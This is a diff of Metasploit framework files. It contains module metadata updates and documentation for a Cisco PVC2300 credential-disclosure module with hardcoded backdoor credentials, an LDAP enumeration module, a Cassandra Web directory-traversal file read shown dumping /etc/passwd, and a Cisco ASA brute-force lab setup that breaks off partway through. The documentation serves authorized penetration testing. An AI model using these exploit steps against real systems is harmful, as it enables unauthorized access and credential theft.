"URL-https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_profiles"
],
"platform": "Windows",
"arch": "",
@@ -209535,7 +210520,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-10-06 13:43:31 +0000",
"mod_time": "2022-08-01 00:56:21 +0000",
"path": "/modules/post/windows/gather/enum_powershell_env.rb",
"is_install_path": true,
"ref_name": "windows/gather/enum_powershell_env",
@@ -209543,9 +210528,20 @@
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
],
"SideEffects": [
]
},
"session_types": [
"meterpreter"
"meterpreter",
"shell",
"powershell"
],
"needs_cleanup": null
},
@@ -210870,7 +211866,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-10-06 13:43:31 +0000",
"mod_time": "2022-07-25 14:51:37 +0000",
"path": "/modules/post/windows/gather/screen_spy.rb",
"is_install_path": true,
"ref_name": "windows/gather/screen_spy",
@@ -211575,7 +212571,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-10-06 13:43:31 +0000",
"mod_time": "2022-08-08 12:56:52 +0000",
"path": "/modules/post/windows/manage/forward_pageant.rb",
"is_install_path": true,
"ref_name": "windows/manage/forward_pageant",
@@ -211583,6 +212579,15 @@
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
],
"SideEffects": [
]
},
"session_types": [
"meterpreter"
@@ -212171,7 +213176,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-10-06 13:43:31 +0000",
"mod_time": "2022-08-08 18:00:36 +0000",
"path": "/modules/post/windows/manage/powershell/exec_powershell.rb",
"is_install_path": true,
"ref_name": "windows/manage/powershell/exec_powershell",
@@ -212198,7 +213203,7 @@
"Ben Turner benpturner <Ben Turner benpturner@yahoo.com>",
"Dave Hardy davehardy20 <Dave Hardy davehardy20@gmail.com>"
],
"description": "This module will download and execute one or more PowerShell script\n s over a present powershell session.\n Setting VERBOSE to true will show the stager results.",
"description": "This module will download and execute one or more PowerShell scripts\n over a present powershell session.\n Setting VERBOSE to true will show the stager results.",
"references": [
],
@@ -212208,7 +213213,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2022-08-08 18:00:36 +0000",
"path": "/modules/post/windows/manage/powershell/load_script.rb",
"is_install_path": true,
"ref_name": "windows/manage/powershell/load_script",
@@ -0,0 +1,55 @@
## Vulnerable Application
This module exploits an information disclosure vulnerability in Cisco PVC2300 cameras in order to download the configuration file
containing the admin credentials for the web interface.
The module first performs a basic check to see if the target is likely Cisco PVC2300. If so, the module attempts to obtain a sessionID
via an HTTP GET request to the vulnerable /oamp/System.xml endpoint using the `login` action and the hardcoded credentials `L1_admin:L1_51`.
If a session ID is obtained, the module uses it in another HTTP GET request to /oamp/System.xml that uses the `downloadConfigurationFile`
action in an attempt to download the configuration file.
The configuration file, if obtained, will be encdoded using base64 with a non-standard alphabet. In order to decode it,
the module first translates the encoded configuration file from the default base64 alphabet to the custom alphabet.
Then the configuration file is decoded using regular base64 and subsequently stored in the `loot` folder.
Finally, the module attempts to extract the admin credentials to the web interface from the decoded configuration file.
No known solution was made available for this vulnerability and no CVE has been published.
It is therefore likely that most (if not all) Cisco PVC2300 cameras are affected.
This module was successfully tested against several Cisco PVC2300 cameras.
## Options
No non-default options are configured.
## Verification Steps
1. Start msfconsole
2. Do: `use auxiliary/gather/cisco_pvc2300_download_config`
3. Do: `set RHOSTS [IP]`
4. Do: `run`
## Scenarios
### Cisco PVC2300
```
Module options (auxiliary/gather/cisco_pvc_2300_info_disclosure):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 172.31.31.233 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
msf6 auxiliary(gather/cisco_pvc_2300_info_disclosure) > run
[*] Running module against 172.31.31.233
[*] The target may be vulnerable. Obtained sessionID 1122062985
[+] Successfully downloaded the configuration file
[*] Saving the full configuration file to /root/.msf4/loot/20220803124629_default_172.31.31.233_ciscopvc.config_489884.txt
[*] Obtained device name PVC2300 POE Video Camera
[+] Obtained the following admin credentials for the web interface from the configuration file:
[*] admin username: admin
[*] admin password: [obfuscated]
[*] Auxiliary module execution completed
```
@@ -0,0 +1,598 @@
## Vulnerable Application
This module allows users to query an LDAP server using either a custom LDAP query, or
a set of LDAP queries under a specific category. Users can also specify a JSON or YAML
file containing custom queries to be executed using the `RUN_QUERY_FILE` action.
If this action is specified, then `QUERY_FILE_PATH` must be a path to the location
of this JSON/YAML file on disk.
Users can also run a single query by using the `RUN_SINGLE_QUERY` option and then setting
the `QUERY_FILTER` datastore option to the filter to send to the LDAP server and `QUERY_ATTRIBUTES`
to a comma seperated string containing the list of attributes they are interested in obtaining
from the results.
As a third option can run one of several predefined queries by setting `ACTION` to the
appropriate value. These options will be loaded from the `ldap_queries_default.yaml` file
located in the MSF configuration directory, located by default at `~/.msf4/ldap_queries_default.yaml`.
Note that you can override the default query settings in this way by defining a query with an
action name that is the same as one of existing actions in the file at
`data/auxiliary/gather/ldap_query/ldap_queries_default.yaml`. This will however prevent any updates
for that action that may be made to the `data/auxiliary/gather/ldap_query/ldap_queries_default.yaml`
file, which may occur as part of Metasploit updates/upgrades, from being used though, so keep this
in mind when using the `~/.msf4/ldap_queries_default.yaml` file.
All results will be returned to the user in table, CSV or JSON format, depending on the value
of the `OUTPUT_FORMAT` datastore option. The characters `||` will be used as a delimiter
should multiple items exist within a single column.
## Verification Steps
1. Do: `use auxiliary/gather/ldap_query`
2. Do: `set ACTION <target action>`
3. Do: `set RHOSTS <target IP(s)>`
4. Optional: `set RPORT <target port>` if target port is non-default.
5: Optional: `set SSL true` if the target port is SSL enabled.
6: Do: `run`
## Options
### OUTPUT_FORMAT
The output format to use. Can be either `csv`, `table` or `json` for
CSV, Rex table output, or JSON output respectively.
### BASE_DN
The LDAP base DN if already obtained. If not supplied, the module will
automatically attempt to find the base DN for the target LDAP server.
### QUERY_FILE_PATH
If the `ACTION` is set to `RUN_QUERY_FILE`, then this option is required and
must be set to the full path to the JSON or YAML file containing the queries to
be run.
The file format must follow the following convention:
```
queries:
- action: THE ACTION NAME
description: "THE ACTION DESCRIPTION"
filter: "THE LDAP FILTER"
attributes:
- dn
- displayName
- name
- description
```
Where `queries` is an array of queries to be run, each containing an `action` field
containing the name of the action to be run, a `description` field describing the
action, a `filter` field containing the filter to send to the LDAP server
(aka what to search on), and the list of attributes that we are interested in from
the results as an array.
### QUERY_FILTER
Used only when the `RUN_SINGLE_QUERY` action is used. This should be set to the filter
aka query that you want to send to the target LDAP server.
### QUERY_ATTRIBUTES
Used only when the `RUN_SINGLE_QUERY` action is used. Should be a comma separated list
of attributes to display from the full result set for each entry that was returned by the
target LDAP server. Used to filter the results down to manageable sets of data.
## Scenarios
### RUN_SINGLE_QUERY with Table Output
```
msf6 payload(windows/x64/meterpreter/reverse_tcp) > use auxiliary/gather/ldap_query
msf6 auxiliary(gather/ldap_query) > set BIND_DN normal@daforest.com
BIND_DN => normal@daforest.com
msf6 auxiliary(gather/ldap_query) > set BIND_PW thePassword123
BIND_PW => thePassword123
msf6 auxiliary(gather/ldap_query) > set RHOSTS 172.27.51.83
RHOSTS => 172.27.51.83
msf6 auxiliary(gather/ldap_query) > set ACTION RUN_SINGLE_QUERY
ACTION => RUN_SINGLE_QUERY
msf6 auxiliary(gather/ldap_query) > set QUERY_ATTRIBUTES dn,displayName,name
QUERY_ATTRIBUTES => dn,displayName,name
msf6 auxiliary(gather/ldap_query) > set QUERY_FILTER (objectClass=*)
QUERY_FILTER => (objectClass=*)
msf6 auxiliary(gather/ldap_query) > run
[*] Running module against 172.27.51.83
[+] Successfully bound to the LDAP server!
[*] Discovering base DN automatically
[+] 172.27.51.83:389 Discovered base DN: DC=daforest,DC=com
[*] Sending single query (objectClass=*) to the LDAP server...
[*] DC=daforest DC=com
==================
Name Attributes
---- ----------
name daforest
[*] CN=Users DC=daforest DC=com
===========================
Name Attributes
---- ----------
name Users
[*] CN=Computers DC=daforest DC=com
===============================
Name Attributes
---- ----------
name Computers
*cut for brevity*
[*] CN=WAPPS1000022 OU=TST OU=Tier 1 DC=daforest DC=com
===================================================
Name Attributes
---- ----------
displayname WAPPS1000022
name WAPPS1000022
[*] CN=WLPT1000014 OU=AZR OU=Stage DC=daforest DC=com
=================================================
Name Attributes
---- ----------
displayname WLPT1000014
name WLPT1000014
[*] CN=WWKS1000016 OU=T1-Roles OU=Tier 1 OU=Admin DC=daforest DC=com
================================================================
Name Attributes
---- ----------
displayname WWKS1000016
name WWKS1000016
[*] CN=WVIR1000013 OU=Test OU=BDE OU=Tier 2 DC=daforest DC=com
==========================================================
Name Attributes
---- ----------
displayname WVIR1000013
name WVIR1000013
[*] Auxiliary module execution completed
msf6 auxiliary(gather/ldap_query) >
```
### RUN_QUERY_FILE with Table Output
Here is the sample query file we will be using:
```
$ cat test.yaml
---
queries:
- action: ENUM_USERS
description: "Enumerate users"
filter: "(|(objectClass=inetOrgPerson)(objectClass=user)(sAMAccountType=805306368)(objectClass=posixAccount))"
columns:
- dn
- displayName
- name
- description
- action: ENUM_ORGUNITS
description: "Enumerate organizational units"
filter: "(objectClass=organizationalUnit)"
columns:
- dn
- displayName
- name
- description
- action: ENUM_GROUPS
description: "Enumerate groups"
filter: "(|(objectClass=group)(objectClass=groupOfNames)(groupType:1.2.840.113556.1.4.803:=2147483648)(objectClass=posixGroup))"
columns:
- dn
- name
- groupType
- memberof
```
Here is the results of using this file with the `RUN_QUERY_FILE` action which will
run all queries within the file one after another.
```
msf6 payload(windows/x64/meterpreter/reverse_tcp) > use auxiliary/gather/ldap_query
msf6 auxiliary(gather/ldap_query) > set BIND_DN normal@daforest.com
BIND_DN => normal@daforest.com
msf6 auxiliary(gather/ldap_query) > set BIND_PW thePassword123
BIND_PW => thePassword123
msf6 auxiliary(gather/ldap_query) > set RHOSTS 172.27.51.83
RHOSTS => 172.27.51.83
msf6 auxiliary(gather/ldap_query) > set ACTION RUN_QUERY_FILE
ACTION => RUN_QUERY_FILE
msf6 auxiliary(gather/ldap_query) > set QUERY_FILE_PATH /home/gwillcox/git/metasploit-framework/test.yaml
QUERY_FILE_PATH => /home/gwillcox/git/metasploit-framework/test.yaml
msf6 auxiliary(gather/ldap_query) > show options
Module options (auxiliary/gather/ldap_query):
Name Current Setting Required Description
---- --------------- -------- -----------
BASE_DN no LDAP base DN if you already have it
BIND_DN normal@daforest.com no The username to authenticate to LDAP server
BIND_PW thePassword123 no Password for the BIND_DN
OUTPUT_FORMAT table yes The output format to use (Accepted: csv, table, json)
QUERY_FILE_PATH /home/gwillcox/git/metasploit-fram no Path to the JSON or YAML file to load and run queries from
ework/test.yaml
RHOSTS 172.27.51.83 yes The target host(s), see https://github.com/rapid7/metasploit-f
ramework/wiki/Using-Metasploit
RPORT 389 yes The target port
SSL false no Enable SSL on the LDAP connection
Auxiliary action:
Name Description
---- -----------
RUN_QUERY_FILE Execute a custom set of LDAP queries from the JSON or YAML file specified by QUERY_FILE.
msf6 auxiliary(gather/ldap_query) > run
[*] Running module against 172.27.51.83
[+] Successfully bound to the LDAP server!
[*] Discovering base DN automatically
[+] 172.27.51.83:389 Discovered base DN: DC=daforest,DC=com
[*] Loading queries from /home/gwillcox/git/metasploit-framework/test.yaml...
[*] Running ENUM_USERS...
[*] CN=Administrator CN=Users DC=daforest DC=com
============================================
Name Attributes
---- ----------
description Built-in account for administering the computer/domain
name Administrator
[*] CN=Guest CN=Users DC=daforest DC=com
====================================
Name Attributes
---- ----------
description Built-in account for guest access to the computer/domain
name Guest
*cut for brevity*
[*] Running ENUM_ORGUNITS...
[*] OU=Domain Controllers DC=daforest DC=com
========================================
Name Attributes
---- ----------
description Default container for domain controllers
name Domain Controllers
[*] OU=Admin DC=daforest DC=com
===========================
Name Attributes
---- ----------
name Admin
[*] OU=Tier 0 OU=Admin DC=daforest DC=com
=====================================
Name Attributes
---- ----------
name Tier 0
*cut for brevity*
[*] Running ENUM_GROUPS...
[*] CN=Administrators CN=Builtin DC=daforest DC=com
===============================================
Name Attributes
---- ----------
grouptype -2147483643
name Administrators
[*] CN=Users CN=Builtin DC=daforest DC=com
======================================
Name Attributes
---- ----------
grouptype -2147483643
name Users
[*] CN=Guests CN=Builtin DC=daforest DC=com
=======================================
Name Attributes
---- ----------
grouptype -2147483643
name Guests
[*] CN=Print Operators CN=Builtin DC=daforest DC=com
================================================
Name Attributes
---- ----------
grouptype -2147483643
name Print Operators
[*] CN=Backup Operators CN=Builtin DC=daforest DC=com
=================================================
Name Attributes
---- ----------
grouptype -2147483643
name Backup Operators
*cut for brevity*
[*] CN=EL-chu-distlist1 OU=T2-Roles OU=Tier 2 OU=Admin DC=daforest DC=com
=====================================================================
Name Attributes
---- ----------
grouptype -2147483646
name EL-chu-distlist1
[*] Auxiliary module execution completed
msf6 auxiliary(gather/ldap_query) >
```
### ENUM_COMPUTERS with Table Output
```
msf6 payload(windows/x64/meterpreter/reverse_tcp) > use auxiliary/gather/ldap_query
msf6 auxiliary(gather/ldap_query) > show options
Module options (auxiliary/gather/ldap_query):
Name Current Setting Required Description
---- --------------- -------- -----------
BASE_DN no LDAP base DN if you already have it
BIND_DN no The username to authenticate to LDAP server
BIND_PW no Password for the BIND_DN
OUTPUT_FORMAT table yes The output format to use (Accepted: csv, table, json)
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-M
etasploit
RPORT 389 yes The target port
SSL false no Enable SSL on the LDAP connection
msf6 auxiliary(gather/ldap_query) > set ACTION
set ACTION ENUM_ACCOUNTS set ACTION ENUM_DOMAIN_CONTROLLERS set ACTION ENUM_ORGROLES
set ACTION ENUM_ALL_OBJECT_CATEGORY set ACTION ENUM_EXCHANGE_RECIPIENTS set ACTION ENUM_ORGUNITS
set ACTION ENUM_ALL_OBJECT_CLASS set ACTION ENUM_EXCHANGE_SERVERS set ACTION RUN_QUERY_FILE
set ACTION ENUM_COMPUTERS set ACTION ENUM_GROUPS
msf6 auxiliary(gather/ldap_query) > set ACTION ENUM_COMPUTERS
ACTION => ENUM_COMPUTERS
msf6 auxiliary(gather/ldap_query) > set RHOSTS 172.20.161.209
RHOSTS => 172.20.161.209
msf6 auxiliary(gather/ldap_query) > set BIND_PW thePassword123
BIND_PW => thePassword123
msf6 auxiliary(gather/ldap_query) > set BIND_DN normal@daforest.com
BIND_DN => normal@daforest.com
msf6 auxiliary(gather/ldap_query) > run
[*] Running module against 172.20.161.209
[+] Successfully bound to the LDAP server!
[*] Discovering base DN automatically
[+] 172.20.161.209:389 Discovered base DN: DC=daforest,DC=com
[*] CN=WIN-F7DQC9SR0HD OU=Domain Controllers DC=daforest DC=com
===========================================================
Name Attributes
---- ----------
distinguishedname CN=WIN-F7DQC9SR0HD,OU=Domain Controllers,DC=daforest,DC=com
dnshostname WIN-F7DQC9SR0HD.daforest.com
name WIN-F7DQC9SR0HD
operatingsystemversion 10.0 (20348)
[*] CN=FSRWLPT1000000 OU=Testing DC=daforest DC=com
===============================================
Name Attributes
---- ----------
description Created with secframe.com/badblood.
displayname FSRWLPT1000000
distinguishedname CN=FSRWLPT1000000,OU=Testing,DC=daforest,DC=com
name FSRWLPT1000000
[*] CN=TSTWVIR1000000 OU=FSR OU=People DC=daforest DC=com
=====================================================
Name Attributes
---- ----------
description Created with secframe.com/badblood.
displayname TSTWVIR1000000
distinguishedname CN=TSTWVIR1000000,OU=FSR,OU=People,DC=daforest,DC=com
name TSTWVIR1000000
*cut for brevity*
[*] CN=WVIR1000013 OU=Test OU=BDE OU=Tier 2 DC=daforest DC=com
==========================================================
Name Attributes
---- ----------
description Created with secframe.com/badblood.
displayname WVIR1000013
distinguishedname CN=WVIR1000013,OU=Test,OU=BDE,OU=Tier 2,DC=daforest,DC=com
name WVIR1000013
[*] Auxiliary module execution completed
msf6 auxiliary(gather/ldap_query) >
```
### ENUM_COMPUTERS with CSV Output
```
msf6 payload(windows/x64/meterpreter/reverse_tcp) > use auxiliary/gather/ldap_query
msf6 auxiliary(gather/ldap_query) > set ACTION ENUM_COMPUTERS
ACTION => ENUM_COMPUTERS
msf6 auxiliary(gather/ldap_query) > set RHOSTS 172.20.161.209
RHOSTS => 172.20.161.209
msf6 auxiliary(gather/ldap_query) > set BIND_PW thePassword123
BIND_PW => thePassword123
msf6 auxiliary(gather/ldap_query) > set BIND_DN normal@daforest.com
BIND_DN => normal@daforest.com
msf6 auxiliary(gather/ldap_query) > set OUTPUT_FORMAT csv
OUTPUT_FORMAT => csv
msf6 auxiliary(gather/ldap_query) > show options
Module options (auxiliary/gather/ldap_query):
Name Current Setting Required Description
---- --------------- -------- -----------
BASE_DN no LDAP base DN if you already have it
BIND_DN normal@daforest.com no The username to authenticate to LDAP server
BIND_PW thePassword123 no Password for the BIND_DN
OUTPUT_FORMAT csv yes The output format to use (Accepted: csv, table, json)
RHOSTS 172.20.161.209 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Usi
ng-Metasploit
RPORT 389 yes The target port
SSL false no Enable SSL on the LDAP connection
Auxiliary action:
Name Description
---- -----------
ENUM_COMPUTERS Dump all objects containing an objectCategory of Computer.
msf6 auxiliary(gather/ldap_query) > run
[*] Running module against 172.20.161.209
[+] Successfully bound to the LDAP server!
[*] Discovering base DN automatically
[+] 172.20.161.209:389 Discovered base DN: DC=daforest,DC=com
[*] Name,Attributes
"dn","CN=WIN-F7DQC9SR0HD,OU=Domain Controllers,DC=daforest,DC=com"
"distinguishedname","CN=WIN-F7DQC9SR0HD,OU=Domain Controllers,DC=daforest,DC=com"
"name","WIN-F7DQC9SR0HD"
"operatingsystemversion","10.0 (20348)"
"dnshostname","WIN-F7DQC9SR0HD.daforest.com"
[*] Name,Attributes
"dn","CN=FSRWLPT1000000,OU=Testing,DC=daforest,DC=com"
"description","Created with secframe.com/badblood."
"distinguishedname","CN=FSRWLPT1000000,OU=Testing,DC=daforest,DC=com"
"displayname","FSRWLPT1000000"
"name","FSRWLPT1000000"
[*] Name,Attributes
"dn","CN=TSTWVIR1000000,OU=FSR,OU=People,DC=daforest,DC=com"
"description","Created with secframe.com/badblood."
"distinguishedname","CN=TSTWVIR1000000,OU=FSR,OU=People,DC=daforest,DC=com"
"displayname","TSTWVIR1000000"
"name","TSTWVIR1000000"
*cut for brevity*
[*] Name,Attributes
"dn","CN=WVIR1000013,OU=Test,OU=BDE,OU=Tier 2,DC=daforest,DC=com"
"description","Created with secframe.com/badblood."
"distinguishedname","CN=WVIR1000013,OU=Test,OU=BDE,OU=Tier 2,DC=daforest,DC=com"
"displayname","WVIR1000013"
"name","WVIR1000013"
[*] Auxiliary module execution completed
msf6 auxiliary(gather/ldap_query) >
```
### ENUM_COMPUTERS with JSON Output
```
msf6 payload(windows/x64/meterpreter/reverse_tcp) > use auxiliary/gather/ldap_query
msf6 auxiliary(gather/ldap_query) > set ACTION ENUM_COMPUTERS
ACTION => ENUM_COMPUTERS
msf6 auxiliary(gather/ldap_query) > set RHOSTS 172.20.161.209
RHOSTS => 172.20.161.209
msf6 auxiliary(gather/ldap_query) > set BIND_PW thePassword123
BIND_PW => thePassword123
msf6 auxiliary(gather/ldap_query) > set BIND_DN normal@daforest.com
BIND_DN => normal@daforest.com
msf6 auxiliary(gather/ldap_query) > set OUTPUT_FORMAT json
OUTPUT_FORMAT => json
msf6 auxiliary(gather/ldap_query) > show options
Module options (auxiliary/gather/ldap_query):
Name Current Setting Required Description
---- --------------- -------- -----------
BASE_DN no LDAP base DN if you already have it
BIND_DN normal@daforest.com no The username to authenticate to LDAP server
BIND_PW thePassword123 no Password for the BIND_DN
OUTPUT_FORMAT json yes The output format to use (Accepted: csv, table, json)
RHOSTS 172.20.161.209 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Usi
ng-Metasploit
RPORT 389 yes The target port
SSL false no Enable SSL on the LDAP connection
Auxiliary action:
Name Description
---- -----------
ENUM_COMPUTERS Dump all objects containing an objectCategory of Computer.
msf6 auxiliary(gather/ldap_query) > run
[*] Running module against 172.20.161.209
[+] Successfully bound to the LDAP server!
[*] Discovering base DN automatically
[+] 172.20.161.209:389 Discovered base DN: DC=daforest,DC=com
[*] CN=WIN-F7DQC9SR0HD OU=Domain Controllers DC=daforest DC=com
{
"dn": "CN=WIN-F7DQC9SR0HD,OU=Domain Controllers,DC=daforest,DC=com",
"distinguishedname": "CN=WIN-F7DQC9SR0HD,OU=Domain Controllers,DC=daforest,DC=com",
"name": "WIN-F7DQC9SR0HD",
"operatingsystemversion": "10.0 (20348)",
"dnshostname": "WIN-F7DQC9SR0HD.daforest.com"
}
[*] CN=FSRWLPT1000000 OU=Testing DC=daforest DC=com
{
"dn": "CN=FSRWLPT1000000,OU=Testing,DC=daforest,DC=com",
"description": "Created with secframe.com/badblood.",
"distinguishedname": "CN=FSRWLPT1000000,OU=Testing,DC=daforest,DC=com",
"displayname": "FSRWLPT1000000",
"name": "FSRWLPT1000000"
}
[*] CN=TSTWVIR1000000 OU=FSR OU=People DC=daforest DC=com
{
"dn": "CN=TSTWVIR1000000,OU=FSR,OU=People,DC=daforest,DC=com",
"description": "Created with secframe.com/badblood.",
"distinguishedname": "CN=TSTWVIR1000000,OU=FSR,OU=People,DC=daforest,DC=com",
"displayname": "TSTWVIR1000000",
"name": "TSTWVIR1000000"
}
*cut for brevity*
[*] CN=WLPT1000014 OU=AZR OU=Stage DC=daforest DC=com
{
"dn": "CN=WLPT1000014,OU=AZR,OU=Stage,DC=daforest,DC=com",
"description": "Created with secframe.com/badblood.",
"distinguishedname": "CN=WLPT1000014,OU=AZR,OU=Stage,DC=daforest,DC=com",
"displayname": "WLPT1000014",
"name": "WLPT1000014"
}
[*] CN=WWKS1000016 OU=T1-Roles OU=Tier 1 OU=Admin DC=daforest DC=com
{
"dn": "CN=WWKS1000016,OU=T1-Roles,OU=Tier 1,OU=Admin,DC=daforest,DC=com",
"description": "Created with secframe.com/badblood.",
"distinguishedname": "CN=WWKS1000016,OU=T1-Roles,OU=Tier 1,OU=Admin,DC=daforest,DC=com",
"displayname": "WWKS1000016",
"name": "WWKS1000016"
}
[*] CN=WVIR1000013 OU=Test OU=BDE OU=Tier 2 DC=daforest DC=com
{
"dn": "CN=WVIR1000013,OU=Test,OU=BDE,OU=Tier 2,DC=daforest,DC=com",
"description": "Created with secframe.com/badblood.",
"distinguishedname": "CN=WVIR1000013,OU=Test,OU=BDE,OU=Tier 2,DC=daforest,DC=com",
"displayname": "WVIR1000013",
"name": "WVIR1000013"
}
[*] Auxiliary module execution completed
msf6 auxiliary(gather/ldap_query) >
```
@@ -0,0 +1,100 @@
## Vulnerable Application
[Cassandra Web](https://rubygems.org/gems/cassandra-web) is an interface for Apache Cassandra using Ruby, Event-machine, AngularJS,
Server-Sent-Events and DataStaxRuby driver for Apache Cassandra.
This module has been tested successfully on Cassandra Web versions:
* cassandra-web-0.5.0 on Debian 10.11 (buster) with ruby 2.5.5p157 and Apache Cassandra 3.11.13
### Description
This module exploits an unauthenticated directory traversal vulnerability in Cassandra Web
'Cassandra Web' version 0.5.0 and earlier, allowing arbitrary file read with the web server privileges.
This vulnerability occured due to the disabled Rack::Protection module.
This web service listens on TCP port 3000 by default on all network interface.
Source and Installers:
* [Source Code Repository](https://github.com/avalanche123/cassandra-web)
* [Installers](https://rubygems.org/gems/cassandra-web)
Ruby installation:
```
apt install ruby-full -y
```
Gem installation:
```
gem install cassandra-web
```
Apache Cassandra Installation:
```
cat << EOF > /etc/apt/sources.list.d/cassandra.list
deb https://www.apache.org/dist/cassandra/debian 311x main
EOF
cat << EOF > /etc/apt/sources.list.d/adoptopenjdk.list
deb https://adoptopenjdk.jfrog.io/adoptopenjdk/deb/ buster main
EOF
wget -q -O - https://www.apache.org/dist/cassandra/KEYS | apt-key add -
wget -qO - https://adoptopenjdk.jfrog.io/adoptopenjdk/api/gpg/key/public | apt-key add -
apt update && apt install adoptopenjdk-8-hotspot cassandra -y
```
Run Cassandra Web:
```
cassandra-web
```
## Verification Steps
1. Do: `use auxiliary/scanner/http/cassandra_web_file_read.rb`
2. Do: `set RHOSTS [ips]`
3. Do: `run`
## Options
## Scenarios
### Cassandra Web 0.5.0 Linux Debian 10.11 (Ruby 2.5.5p157 and Apache Cassandra 3.11.13)
```
msf6 > use auxiliary/scanner/http/cassandra_web_file_read
msf6 auxiliary(scanner/http/cassandra_web_file_read) > set RHOSTS 192.168.56.1
RHOSTS => 192.168.56.1
msf6 auxiliary(scanner/http/cassandra_web_file_read) > run
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Cassandra Web Detected
[*] Downloading file...
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
avahi-autoipd:x:105:112:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
ntp:x:107:115::/nonexistent:/usr/sbin/nologin
cassandra:x:108:116:Cassandra database,,,:/var/lib/cassandra:/usr/sbin/nologin
[+] File saved in: /home/git/.msf4/loot/20220802185716_default_192.168.56.1_cassandra.web.tr_160962.txt
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
@@ -0,0 +1,132 @@
## Vulnerable Application
### Description
This module scans for the Cisco ASA ASDM landing page and performs login brute-force
to identify valid credentials.
### Installation
Acquire a Cisco ASA device or virtual machine. For this description we will use
Cisco Adaptive Security Virtual Appliance (ASAv) VMWare Package 9.18.1 (asav9-18-1.zip):
* https://software.cisco.com/download/home/286119613/type/280775065/release/9.18.1
The [official installation guide can be found here](https://www.cisco.com/c/en/us/td/docs/security/asa/asa98/asav/quick-start-book/asav-98-qsg/asav-vmware.html)
But for completeness, the following will guide the user to a full testing configuration.
To start we'll make ASDM remotely accessible:
1. Unzip the package
1. Import `asav-esxi.ovf` in VMWare Fusion (or your VMWare product of choice).
1. Select the `ASAv5 - 1 Core / 2 GB (100 Mbps)` deployment option.
1. After the import is complete, assign `Network Adapter` (1 is implied) the desired
interface (e.g. I'll use `Wi-Fi` for my setup).
1. Start the virtual machine
1. Allow GRUB to boot the first option (this should happen twice)
1. When provided with a command prompt (`ciscoasa>`) type `en`.
1. Set an enable password (e.g. `labpass1`)
1. Enter the following in the command line interface:
1. `conf t`
1. `No`
1. `interface GigabitEthernet 0/0`
1. `nameif outside`
1. Assign a static ip address (note the assigned address should make sense within the
context of you lab. For example, my lab network is 10.9.49.0/24): `ip address 10.9.49.201 255.255.255.0`
1. `no shutdown`
1. `exit`
1. Set the default route (the last IP should point to your lab router): `route outside 0.0.0.0 0.0.0.0 10.9.49.1`
1. Verify you can ping an outside host (e.g. `ping 8.8.8.8`)
1. `http server enable`
1. `http 0.0.0.0 0.0.0.0 outside`
1. `write`
1. `exit`
You should now be able to reach the ASA's web server remotely. From a remote host, execute the following `curl`
command to the ASA to verify as much:
```
albinolobster@ubuntu:~$ curl -kv https://10.9.49.201
* Trying 10.9.49.201:443...
* TCP_NODELAY set
...
> GET / HTTP/1.1`
> Host: 10.9.49.201
> User-Agent: curl/7.68.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 301 Moved Permanently
< Date: Tue, 21 Jun 2022 13:52:33 UTC
< Strict-Transport-Security: max-age=31536000
< X-XSS-Protection: 1
< Connection: close
< Location: /admin/public/index.html
<
* Closing connection 0
* TLSv1.2 (OUT), TLS alert, close notify (256):
```
You should now be able to test the credentials `<Blank>:labpass1` and `enable_15:labpass1`. To
add additional users to test with, let's use ASDM from a Windows machine:
1. Connect to your ASA's web interface (e.g. `https://10.9.49.201/admin/public/index.html`).
1. Click "Install ASDM Launcher"
1. Enter creds `blank`:labpass1 (where blank is nothing and labpass1 is your enable password)
1. Install the downloaded `dm-launcher.msi` (before 7.18.1 it will be unsigned)
